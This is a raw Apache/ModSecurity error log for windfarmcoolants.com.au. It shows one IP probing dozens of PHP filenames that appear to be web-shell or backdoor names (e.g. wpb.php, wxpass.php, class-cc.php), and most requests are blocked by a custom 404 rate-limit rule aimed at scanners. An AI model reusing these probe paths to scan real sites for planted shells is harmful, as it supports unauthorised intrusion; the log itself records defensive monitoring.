[Mon Apr 13 14:32:11.952918 2026] [:error] [pid 57183:tid 57198] [client 4.210.65.73:43654] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wpb.php"] [unique_id "adyN6zDO3t8R5NaxzYRyKwAAAU0"]
[Mon Apr 13 14:32:13.756038 2026] [:error] [pid 63311:tid 63391] [client 4.210.65.73:13862] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wpb.php"] [unique_id "adyN7aHjrGN1MqBCVFmmPQAAAJQ"]
[Mon Apr 13 14:32:15.413647 2026] [:error] [pid 57183:tid 57207] [client 4.210.65.73:43655] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wpb.php"] [unique_id "adyN7zDO3t8R5NaxzYRyPwAAAVY"]
[Mon Apr 13 14:32:16.602310 2026] [:error] [pid 63310:tid 63348] [client 4.210.65.73:31391] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wpb.php"] [unique_id "adyN8HoXpRU5ztmwPjIQEQAAAEQ"]
[Mon Apr 13 14:37:28.166101 2026] [:error] [pid 7228:tid 7244] [client 4.210.65.73:22847] File does not exist: /usr/local/apache/htdocs/suspended-page/less.php
[Mon Apr 13 14:37:28.476943 2026] [:error] [pid 7228:tid 7235] [client 4.210.65.73:22847] File does not exist: /usr/local/apache/htdocs/suspended-page/sfcl.php
[Mon Apr 13 14:37:29.061416 2026] [:error] [pid 7228:tid 7242] [client 4.210.65.73:22847] File does not exist: /usr/local/apache/htdocs/suspended-page/ca-022.php
[Mon Apr 13 14:37:29.374416 2026] [:error] [pid 7228:tid 7238] [client 4.210.65.73:22847] File does not exist: /usr/local/apache/htdocs/suspended-page/act.php
[Mon Apr 13 14:37:29.661933 2026] [:error] [pid 7228:tid 7247] [client 4.210.65.73:22847] File does not exist: /usr/local/apache/htdocs/suspended-page/enacting.php
[Mon Apr 13 14:37:29.959892 2026] [:error] [pid 7228:tid 7237] [client 4.210.65.73:22847] File does not exist: /usr/local/apache/htdocs/suspended-page/ta0ol.php
[Mon Apr 13 14:37:30.278089 2026] [:error] [pid 7228:tid 7231] [client 4.210.65.73:22847] File does not exist: /usr/local/apache/htdocs/suspended-page/cilng.php
[Mon Apr 13 14:37:30.560288 2026] [:error] [pid 7228:tid 7234] [client 4.210.65.73:22847] File does not exist: /usr/local/apache/htdocs/suspended-page/bkxzo.php
[Mon Apr 13 14:37:30.846516 2026] [:error] [pid 7228:tid 7245] [client 4.210.65.73:22847] File does not exist: /usr/local/apache/htdocs/suspended-page/acp.php
[Mon Apr 13 14:37:31.160803 2026] [:error] [pid 7228:tid 7230] [client 4.210.65.73:22847] File does not exist: /usr/local/apache/htdocs/suspended-page/nti.php
[Mon Apr 13 14:37:31.449030 2026] [:error] [pid 7228:tid 7241] [client 4.210.65.73:22847] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rh.php"] [unique_id "adyPKwEnn1dQrOSHHNUMsgAAAQs"]
[Mon Apr 13 14:37:50.977366 2026] [:error] [pid 63406:tid 63430] [client 4.210.65.73:22642] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Eva.php"] [unique_id "adyPPrHZEIkQ0Zmgp5qy7QAAANM"]
[Mon Apr 13 14:37:55.267292 2026] [:error] [pid 63311:tid 63377] [client 4.210.65.73:1387] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Eva.php"] [unique_id "adyPQ6HjrGN1MqBCVFmoFQAAAIY"]
[Mon Apr 13 14:37:57.243333 2026] [:error] [pid 63406:tid 63421] [client 4.210.65.73:1469] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Eva.php"] [unique_id "adyPRbHZEIkQ0Zmgp5qy9wAAAMo"]
[Mon Apr 13 14:37:58.744363 2026] [:error] [pid 63406:tid 63429] [client 4.210.65.73:38667] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Eva.php"] [unique_id "adyPRrHZEIkQ0Zmgp5qy-QAAANI"]
[Mon Apr 13 14:38:00.297547 2026] [:error] [pid 63311:tid 63373] [client 4.210.65.73:1432] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nco.php"] [unique_id "adyPSKHjrGN1MqBCVFmoIwAAAII"]
[Mon Apr 13 14:38:03.326111 2026] [:error] [pid 57183:tid 57209] [client 4.210.65.73:38660] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nco.php"] [unique_id "adyPSzDO3t8R5NaxzYR2egAAAVg"]
[Mon Apr 13 14:38:06.803265 2026] [:error] [pid 63310:tid 63359] [client 4.210.65.73:27831] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nco.php"] [unique_id "adyPTnoXpRU5ztmwPjIRVQAAAE8"]
[Mon Apr 13 14:38:07.954804 2026] [:error] [pid 7228:tid 7234] [client 4.210.65.73:43688] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nco.php"] [unique_id "adyPTwEnn1dQrOSHHNUNEgAAAQQ"]
[Mon Apr 13 14:38:08.899504 2026] [:error] [pid 63309:tid 63314] [client 4.210.65.73:42219] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "adyPUEpIKZ10weXpf0XpOQAAAAE"]
[Mon Apr 13 14:38:10.135879 2026] [:error] [pid 7228:tid 7245] [client 4.210.65.73:38689] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "adyPUgEnn1dQrOSHHNUNGAAAAQ8"]
[Mon Apr 13 14:38:11.490918 2026] [:error] [pid 63406:tid 63432] [client 4.210.65.73:43680] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "adyPU7HZEIkQ0Zmgp5qzCQAAANU"]
[Mon Apr 13 14:38:13.046396 2026] [:error] [pid 63406:tid 63422] [client 4.210.65.73:14205] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "adyPVbHZEIkQ0Zmgp5qzDgAAAMs"]
[Mon Apr 13 14:38:14.044028 2026] [:error] [pid 63310:tid 63357] [client 4.210.65.73:38654] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/55l453.php"] [unique_id "adyPVnoXpRU5ztmwPjIRYAAAAE0"]
[Mon Apr 13 14:38:15.652901 2026] [:error] [pid 57183:tid 57187] [client 4.210.65.73:38699] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/55l453.php"] [unique_id "adyPVzDO3t8R5NaxzYR2mQAAAUI"]
[Mon Apr 13 14:38:19.325534 2026] [:error] [pid 63309:tid 63322] [client 4.210.65.73:14195] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/55l453.php"] [unique_id "adyPW0pIKZ10weXpf0XpQAAAAAk"]
[Mon Apr 13 14:38:22.038250 2026] [:error] [pid 63309:tid 63325] [client 4.210.65.73:42211] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/55l453.php"] [unique_id "adyPXkpIKZ10weXpf0XpSAAAAAw"]
[Mon Apr 13 14:38:23.039124 2026] [:error] [pid 7228:tid 7252] [client 4.210.65.73:27225] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-stat.php"] [unique_id "adyPXwEnn1dQrOSHHNUNOAAAARY"]
[Mon Apr 13 14:38:24.844368 2026] [:error] [pid 7228:tid 7250] [client 4.210.65.73:21631] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-stat.php"] [unique_id "adyPYAEnn1dQrOSHHNUNQAAAARQ"]
[Mon Apr 13 14:38:26.065499 2026] [:error] [pid 63310:tid 63360] [client 4.210.65.73:2012] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-stat.php"] [unique_id "adyPYnoXpRU5ztmwPjIRawAAAFA"]
[Mon Apr 13 14:38:28.338702 2026] [:error] [pid 7228:tid 7243] [client 4.210.65.73:44370] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-stat.php"] [unique_id "adyPZAEnn1dQrOSHHNUNWgAAAQ0"]
[Mon Apr 13 14:38:30.546229 2026] [:error] [pid 63309:tid 63320] [client 4.210.65.73:33944] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/as.php"] [unique_id "adyPZkpIKZ10weXpf0XpTgAAAAc"]
[Mon Apr 13 14:38:31.688336 2026] [:error] [pid 63406:tid 63427] [client 4.210.65.73:2025] File does not exist: /usr/local/apache/htdocs/suspended-page/as.php
[Mon Apr 13 14:38:31.937005 2026] [:error] [pid 63406:tid 63431] [client 4.210.65.73:2025] File does not exist: /usr/local/apache/htdocs/suspended-page/zo.php
[Mon Apr 13 14:38:32.187024 2026] [:error] [pid 63406:tid 63429] [client 4.210.65.73:2025] File does not exist: /usr/local/apache/htdocs/suspended-page/zwq.php
[Mon Apr 13 14:38:32.443919 2026] [:error] [pid 63406:tid 63419] [client 4.210.65.73:2025] File does not exist: /usr/local/apache/htdocs/suspended-page/wxpass.php
[Mon Apr 13 14:38:32.704815 2026] [:error] [pid 63406:tid 63415] [client 4.210.65.73:2025] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-demomav.php
[Mon Apr 13 14:38:32.997011 2026] [:error] [pid 63406:tid 63418] [client 4.210.65.73:2025] File does not exist: /usr/local/apache/htdocs/suspended-page/wpls.php
[Mon Apr 13 14:38:33.252764 2026] [:error] [pid 63406:tid 63420] [client 4.210.65.73:2025] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-gr.php
[Mon Apr 13 14:38:33.722490 2026] [:error] [pid 63406:tid 63420] [client 4.210.65.73:2025] File does not exist: /usr/local/apache/htdocs/suspended-page/file-gertdxz.php
[Mon Apr 13 14:38:34.265216 2026] [:error] [pid 63406:tid 63433] [client 4.210.65.73:2025] File does not exist: /usr/local/apache/htdocs/suspended-page/2026w.php
[Mon Apr 13 14:38:34.689435 2026] [:error] [pid 63406:tid 63426] [client 4.210.65.73:2025] File does not exist: /usr/local/apache/htdocs/suspended-page/ckk.php
[Mon Apr 13 14:38:34.937655 2026] [:error] [pid 63406:tid 63434] [client 4.210.65.73:2025] File does not exist: /usr/local/apache/htdocs/suspended-page/img.php
[Mon Apr 13 14:38:35.204477 2026] [:error] [pid 63406:tid 63417] [client 4.210.65.73:2025] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zt2.php"] [unique_id "adyPa7HZEIkQ0Zmgp5qzPgAAAMY"]
[Mon Apr 13 14:38:36.794416 2026] [:error] [pid 57183:tid 57198] [client 4.210.65.73:1059] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zt2.php"] [unique_id "adyPbDDO3t8R5NaxzYR2rwAAAU0"]
[Mon Apr 13 14:38:39.106499 2026] [:error] [pid 57183:tid 57206] [client 4.210.65.73:2038] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zt2.php"] [unique_id "adyPbzDO3t8R5NaxzYR2tgAAAVU"]
[Mon Apr 13 14:38:39.916926 2026] [:error] [pid 7228:tid 7253] [client 4.210.65.73:27210] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zt2.php"] [unique_id "adyPbwEnn1dQrOSHHNUNiQAAARc"]
[Mon Apr 13 14:38:43.984059 2026] [:error] [pid 63309:tid 63313] [client 4.210.65.73:35845] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class-cc.php"] [unique_id "adyPc0pIKZ10weXpf0XpXQAAAAA"]
[Mon Apr 13 14:38:49.674446 2026] [:error] [pid 57183:tid 57189] [client 4.210.65.73:18561] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class-cc.php"] [unique_id "adyPeTDO3t8R5NaxzYR2wgAAAUQ"]
[Mon Apr 13 14:38:53.495087 2026] [:error] [pid 57183:tid 57186] [client 4.210.65.73:27245] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class-cc.php"] [unique_id "adyPfTDO3t8R5NaxzYR2ygAAAUE"]
[Mon Apr 13 14:38:55.055394 2026] [:error] [pid 63406:tid 63418] [client 4.210.65.73:1304] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class-cc.php"] [unique_id "adyPf7HZEIkQ0Zmgp5qzYgAAAMc"]
[Mon Apr 13 14:38:56.827173 2026] [:error] [pid 63406:tid 63429] [client 4.210.65.73:33894] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-lvminl.php"] [unique_id "adyPgLHZEIkQ0Zmgp5qzawAAANI"]
[Mon Apr 13 14:38:58.282997 2026] [:error] [pid 7228:tid 7247] [client 4.210.65.73:24194] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-lvminl.php"] [unique_id "adyPggEnn1dQrOSHHNUNsgAAARE"]
[Mon Apr 13 14:38:59.505726 2026] [:error] [pid 57183:tid 57192] [client 4.210.65.73:10664] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-lvminl.php"] [unique_id "adyPgzDO3t8R5NaxzYR22wAAAUc"]
[Mon Apr 13 14:39:01.263177 2026] [:error] [pid 63311:tid 63383] [client 4.210.65.73:19529] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-lvminl.php"] [unique_id "adyPhaHjrGN1MqBCVFmocQAAAIw"]
[Mon Apr 13 14:39:02.272049 2026] [:error] [pid 63309:tid 63321] [client 4.210.65.73:37081] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bx.php"] [unique_id "adyPhkpIKZ10weXpf0XpcgAAAAg"]
[Mon Apr 13 14:39:02.994553 2026] [:error] [pid 63311:tid 63373] [client 4.210.65.73:19575] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bx.php"] [unique_id "adyPhqHjrGN1MqBCVFmoeAAAAII"]
[Mon Apr 13 14:39:03.807250 2026] [:error] [pid 7228:tid 7245] [client 4.210.65.73:20977] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bx.php"] [unique_id "adyPhwEnn1dQrOSHHNUNwAAAAQ8"]
[Mon Apr 13 14:39:04.798092 2026] [:error] [pid 63406:tid 63414] [client 4.210.65.73:26749] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bx.php"] [unique_id "adyPiLHZEIkQ0Zmgp5qzewAAAMM"]
[Mon Apr 13 14:39:05.765049 2026] [:error] [pid 7228:tid 7252] [client 4.210.65.73:20083] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/classwithtostring.php"] [unique_id "adyPiQEnn1dQrOSHHNUNywAAARY"]
[Mon Apr 13 14:39:06.962302 2026] [:error] [pid 7228:tid 7231] [client 4.210.65.73:19547] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/classwithtostring.php"] [unique_id "adyPigEnn1dQrOSHHNUN1QAAAQE"]
[Mon Apr 13 14:39:08.101837 2026] [:error] [pid 63311:tid 63378] [client 4.210.65.73:20045] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/classwithtostring.php"] [unique_id "adyPjKHjrGN1MqBCVFmogAAAAIc"]
[Mon Apr 13 14:39:09.051978 2026] [:error] [pid 57183:tid 57201] [client 4.210.65.73:17301] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/classwithtostring.php"] [unique_id "adyPjTDO3t8R5NaxzYR28QAAAVA"]
[Mon Apr 13 14:39:09.864584 2026] [:error] [pid 57183:tid 57196] [client 4.210.65.73:25777] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "adyPjTDO3t8R5NaxzYR29AAAAUs"]
[Mon Apr 13 14:39:11.177797 2026] [:error] [pid 7228:tid 7250] [client 4.210.65.73:20931] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "adyPjwEnn1dQrOSHHNUN6gAAARQ"]
[Mon Apr 13 14:39:12.403975 2026] [:error] [pid 57183:tid 57189] [client 4.210.65.73:37181] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "adyPkDDO3t8R5NaxzYR2-wAAAUQ"]
